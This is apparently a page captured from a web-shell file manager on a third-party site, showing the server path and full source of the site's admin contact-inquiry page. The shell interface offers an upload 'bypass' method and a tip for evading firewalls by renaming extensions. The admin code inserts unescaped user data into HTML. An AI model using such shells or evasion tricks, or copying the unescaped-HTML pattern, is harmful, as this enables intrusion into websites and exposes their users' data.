Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
home
u820220146
domains
sanketstudycentre.com
public_html
admin
File Content:
contact-inquiry.php
<?php include 'session.php'; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta content="width=device-width, initial-scale=1, maximum-scale=1, shrink-to-fit=no" name="viewport"> <title>Admin - Sanket Study Centre</title> <!-- General CSS Files --> <link rel="stylesheet" href="assets/css/app.min.css"> <link rel="stylesheet" href="assets/bundles/jqvmap/dist/jqvmap.min.css"> <link rel="stylesheet" href="assets/bundles/weather-icon/css/weather-icons.min.css"> <link rel="stylesheet" href="assets/bundles/weather-icon/css/weather-icons-wind.min.css"> <link rel="stylesheet" href="assets/bundles/summernote/summernote-bs4.css"> <link rel="stylesheet" href="assets/bundles/prism/prism.css"> <!-- Template CSS --> <link rel="stylesheet" href="assets/css/style.css"> <link rel="stylesheet" href="assets/css/components.css"> <!-- Table CSS --> <link rel="stylesheet" href="assets/bundles/footable-bootstrap/css/footable.bootstrap.min.css"> <link rel="stylesheet" href="assets/bundles/footable-bootstrap/css/footable.standalone.min.css"> <link rel="stylesheet" href="../../../../../../cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <!-- <link rel="stylesheet" type="text/css" href="https://jeremyfagis.github.io/dropify/dist/css/dropify.min.css"> <script src="https://cdn.ckeditor.com/4.16.0/standard/ckeditor.js"></script> --> <!-- Sweet Alert --> <link href="plugins/sweet-alert2/sweetalert2.min.css" rel="stylesheet" type="text/css"> <script src="plugins/sweet-alert2/sweetalert2.all.min.js"></script> <script src="plugins/sweet-alert2/sweet-alert.init.js"></script> <!-- Custom style CSS --> <link rel="stylesheet" href="assets/css/custom.css"> <link rel='shortcut icon' type='image/x-icon' href='assets/img/logo.webp' /> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script> <style> .dataTables_paginate, .dataTables_info, .dataTables_filter input { display: none !important; } th, td { border: 1px solid #ddd !important; border-collapse: collapse !important; } table.dataTable thead th { border-bottom: 1px solid #ddd !important; } </style> </head> <body> <div class="loader"></div> <div id="app"> <div class="main-wrapper main-wrapper-1"> <div class="navbar-bg"></div> <!-- Sidebar Content --> <?php include 'header.php'; include 'sidebar.php'; ?> <!-- End Sidebar Content --> <!-- Main Content --> <div class="main-content"> <section class="section"> <div class="row"> <div class="card"> <div class="card-body"> <div class="card-header" style="padding:10px 0px;"> <h4>All Contact Inquiries</h4> </div> <div class="table-responsive"> <table id="example" class="table dataTable table-bordered table-striped" data-filtering="true" data-sorting="true" data-paging="true" data-paging-size="15"> <thead> <tr> <th>No</th> <th>Name</th> <th>Email</th> <th>Phone</th> <th>Sub/Msg</th> <th>Inquired on</th> <th>Action</th> </tr> </thead> <tbody> </tbody> </table> </div> <!-- fetch table data --> <script> function fetchContactInquiryData() { // console.log('func is called'); $.ajax({ url: 'apis/fetch_contact_inquiry_data_into_table.php', type: 'GET', dataType: 'json', success: function(response) { console.log(response.data); var responseData = response.data; if (responseData) { $.each(responseData, function(index, e) { // Format applied_on var date = new Date(e.applied_on); var formattedDate = (date.getDate() < 10 ? '0' : '') + date.getDate() + '-' + ((date.getMonth() + 1) < 10 ? '0' : '') + (date.getMonth() + 1) + '-' + date.getFullYear(); var row = '<tr id="row-' + e.contact_id + '">' + '<td>' + (index + 1) + '</td>' + '<td>' + e.name + '</td>' + '<td>' + e.email + '</td>' + '<td>' + e.contact_no + '</td>' + '<td><button type="button" class="btn btn-primary" data-bs-toggle="modal" title="Message" data-bs-target="#contactModel" onclick="javascript:contactMessage(' + e.contact_id + ')"><i class="fas fa-eye" style="height:15px; width:15px;"></i> View</button></td>' + '<td>' + formattedDate + '</td>' + '<td>' + '<a class="btn btn-danger btn-action" data-bs-toggle="tooltip" title="Delete" data-confirm="Are You Sure?|This action can not be undone. Do you want to continue?" data-confirm-yes="" href="javascript:myFunction(' + e.contact_id + ')">' + '<i class="fas fa-trash"></i>' + '</a>' + '</td>' + '</tr>'; $('tbody').append(row); }); } else { var noDataMessage = '<tr><td colspan="6">Not Found</td></tr>'; $('tbody').append(noDataMessage); } }, error: function() { console.log('Error fetching data'); } }); }; fetchContactInquiryData(); </script> </div> </div> </div> </section> <!-- Contact Message Popup --> <div class="modal fade" id="contactModel" tabindex="-1" role="dialog" aria-labelledby="" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered" role="document"> <div class="modal-content"> <div class="modal-header"> <h6 class="modal-title">Message</h6> <div> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> </div> <hr style="margin: 0.25rem !important;"> <div class="modal-body"> <div class="row"> <h6>Subject</h6> <input type="text" id="contact_subject" class="form-control" disabled> <h6 class="mt-3">Message</h6> <textarea id="contact_message" style="height: 200px !important;" disabled></textarea> </div> </div> </div> </div> </div> <!-- Fetch Contact Message --> <script> function contactMessage(c_id) { // var editor = CKEDITOR.replace('contact_message'); $.ajax({ method: 'POST', url: "apis/fetch_contact_message.php", data: { contact_id: c_id }, cache: false, success: function(response) { // console.log('msg: ', response) var data = JSON.parse(response); $('#contact_subject').val(data.data[0].subject); // editor.setData(data.data[0].message); $('#contact_message').text(data.data[0].message); }, }); } </script> </div> <!-- Footer --> <?php require_once 'footer.php'; ?> </div> </div> <!-- General JS Scripts --> <script src="assets/js/app.min.js"></script> <!-- JS Libraies --> <script src="assets/bundles/echart/echarts.js"></script> <script src="assets/bundles/chartjs/chart.min.js"></script> <script src="assets/bundles/prism/prism.js"></script> <!-- Page Specific JS File --> <script src="assets/js/page/index.js"></script> <!-- Template JS File --> <script src="assets/js/scripts.js"></script> <!-- Custom JS File --> <script src="assets/js/custom.js"></script> <script src="assets/bundles/jquery-validation/dist/jquery.validate.min.js"></script> <!-- JS Libraies --> <script src="assets/bundles/jquery-steps/jquery.steps.min.js"></script> <!-- Page Specific JS File --> <script src="assets/js/page/form-wizard.js"></script> <!-- JS Libraies --> <!-- <script src="assets/bundles/footable-bootstrap/js/footable.js"></script> --> <script src="assets/bundles/jqvmap/dist/jquery.vmap.min.js"></script> <script src="assets/bundles/jqvmap/dist/maps/jquery.vmap.world.js"></script> <!-- Page Specific JS File --> <!-- <script src="assets/js/page/footable-data.js"></script> --> <script src="assets/js/page/index2.js"></script> <script src="https://cdn.datatables.net/1.12.1/js/jquery.dataTables.min.js"></script> <script src="https://cdn.datatables.net/buttons/2.2.3/js/dataTables.buttons.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.1.3/jszip.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.53/pdfmake.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.53/vfs_fonts.js"></script> <script src="https://cdn.datatables.net/buttons/2.2.3/js/buttons.html5.min.js"></script> <script src="https://cdn.datatables.net/buttons/2.2.3/js/buttons.print.min.js"></script> <script type="text/javascript" src="https://jeremyfagis.github.io/dropify/dist/js/dropify.min.js"></script> <script> CKEDITOR.replace('editor1'); CKEDITOR.replace('editor2'); CKEDITOR.replace('editor3'); CKEDITOR.replace('editor4'); $('.dropify').dropify(); </script> <script> $(document).ready(function() { $('#example6').DataTable({ "pagingType": "full_numbers", "lengthMenu": [ [10, 15, 25, 50, 100, -1], [10, 15, 25, 50, 100, "All"] ], "iDisplayLength": 500000000000000000000000000000000000, responsive: true, language: { search: "_INPUT_", searchPlaceholder: "Search records", }, dom: 'Bfrtip', buttons: [ 'copy', 'excel' ] }); $('#example5').DataTable({ "pagingType": "full_numbers", "lengthMenu": [ [10, 15, 25, 50, 100, -1], [10, 15, 25, 50, 100, "All"] ], "iDisplayLength": 500000000000000000000000000000000000, responsive: true, language: { search: "_INPUT_", searchPlaceholder: "Search records", }, dom: 'Bfrtip', buttons: [ 'copy', 'excel' ] }); $('#example4').DataTable({ "pagingType": "full_numbers", "lengthMenu": [ [10, 15, 25, 50, 100, -1], [10, 15, 25, 50, 100, "All"] ], "iDisplayLength": 500000000000000000000000000000000000, responsive: true, language: { search: "_INPUT_", searchPlaceholder: "Search records", }, dom: 'Bfrtip', buttons: [ 'copy', 'excel' ] }); $('.btn-copy').click(function() { $('.buttons-copy').trigger('click'); }); $('.btn-csv').click(function() { $('.buttons-csv').trigger('click'); }); $('.btn-excel').click(function() { $('.buttons-excel').trigger('click'); }); $('.btn-pdf').click(function() { $('.buttons-pdf').trigger('click'); }); $('.btn-print').click(function() { $('.buttons-print').trigger('click'); }); }); </script> <!-- delete function --> <script> function myFunction(contact_id, index) { // Remove the row from the table immediately const confirmationMessage = `You want to delete this Contact Inquiry?`; swal.fire({ title: 'Are you sure?', text: confirmationMessage, type: 'warning', showCancelButton: true, confirmButtonColor: '#3085d6', cancelButtonColor: '#d33', confirmButtonText: 'Yes, I am sure!', cancelButtonText: "No, cancel it!" }).then(function(isConfirm) { if (isConfirm.value) { // Make an AJAX call fetch(`apis/delete_contact_inquiry.php`, { method: 'DELETE', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ id: contact_id }), // Pass the user ID in the request body }) .then(response => response.json()) .then(function(data) { if (data.status === 'success') { swal.fire( 'Deleted!', `This Contact Inquiry has been deleted.`, 'success' ); $('#row-' + contact_id).remove(); } else { swal.fire('Error', data.message, 'error'); // Handle error scenarios } }) .catch(error => { console.error('Error:', error); // Handle errors, show an alert, or redirect to an error page }); } else { // User canceled the action, you may want to re-add the row to the table here } }); } </script> </body> </html>
Edit
Download
Unzip
Chmod
Delete